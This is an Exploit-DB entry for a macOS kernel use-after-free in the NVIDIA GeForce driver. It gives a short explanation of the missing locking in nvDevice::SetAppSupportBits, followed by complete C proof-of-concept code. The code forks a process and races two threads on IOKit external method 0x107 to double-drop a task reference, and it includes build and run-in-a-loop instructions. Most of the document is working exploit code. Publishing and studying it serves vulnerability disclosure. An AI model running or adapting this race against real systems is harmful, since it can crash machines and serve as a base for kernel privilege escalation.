Apple macOS Kernel - Use-After-Free Due to Lack of Locking in nvidia GeForce Driver

EDB-ID:

44847




Platform:

macOS

Date:

2018-06-06


/*
nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.

It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.

Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
*/

// ianbeer

#if 0
MacOS kernel UAF due to lack of locking in nvidia GeForce driver

nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.

It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.

Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
#endif

// build: clang -o nvtask nvtask.c -framework IOKit
// run: while true; do ./nvtask; done

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t set_app_support_bits(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputStructCnt = 1;
  outputStructCnt = 1;

  inputStruct[0] = 0xff;

  err = IOConnectCallMethod(
   conn,
   0x107,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}


volatile int go = 0;
volatile int running = 0;
void* thread_func(void* arg) {
  mach_port_t conn = (mach_port_t)arg;
  printf("thread running\n");
  running = 1;
  while(!go){;}
  set_app_support_bits(conn);
  return 0;
}

int main(int argc, char** argv){
  pid_t child_pid = fork();
  if (child_pid == -1) {
    printf("fork failed\n");
    return 0;
  }
  if (child_pid) {
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
    if (service == MACH_PORT_NULL) {
      printf("unable to find service\n");
      return 0;
    }
    printf("got service: 0x%x\n", service);

    io_connect_t conn = MACH_PORT_NULL;
    kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
    if (err != KERN_SUCCESS) {
      printf("unable to open ioservice\n");
      return 0;
    }
    printf("got service\n");
    pthread_t th;
    pthread_create(&th, NULL, thread_func, (void*)conn);

    while(!running){;}
    go = 1;
    set_app_support_bits(conn);

    pthread_join(th, NULL);

    int loc = 0;
    wait(&loc);
  } else {
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
    if (service == MACH_PORT_NULL) {
      printf("unable to find service\n");
      return 0;
    }
    printf("got service: 0x%x\n", service);

    io_connect_t conn = MACH_PORT_NULL;
    kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
    if (err != KERN_SUCCESS) {
      printf("unable to open ioservice\n");
      return 0;
    }
    printf("got service\n");
    set_app_support_bits(conn);
    
  }

  return 0;
}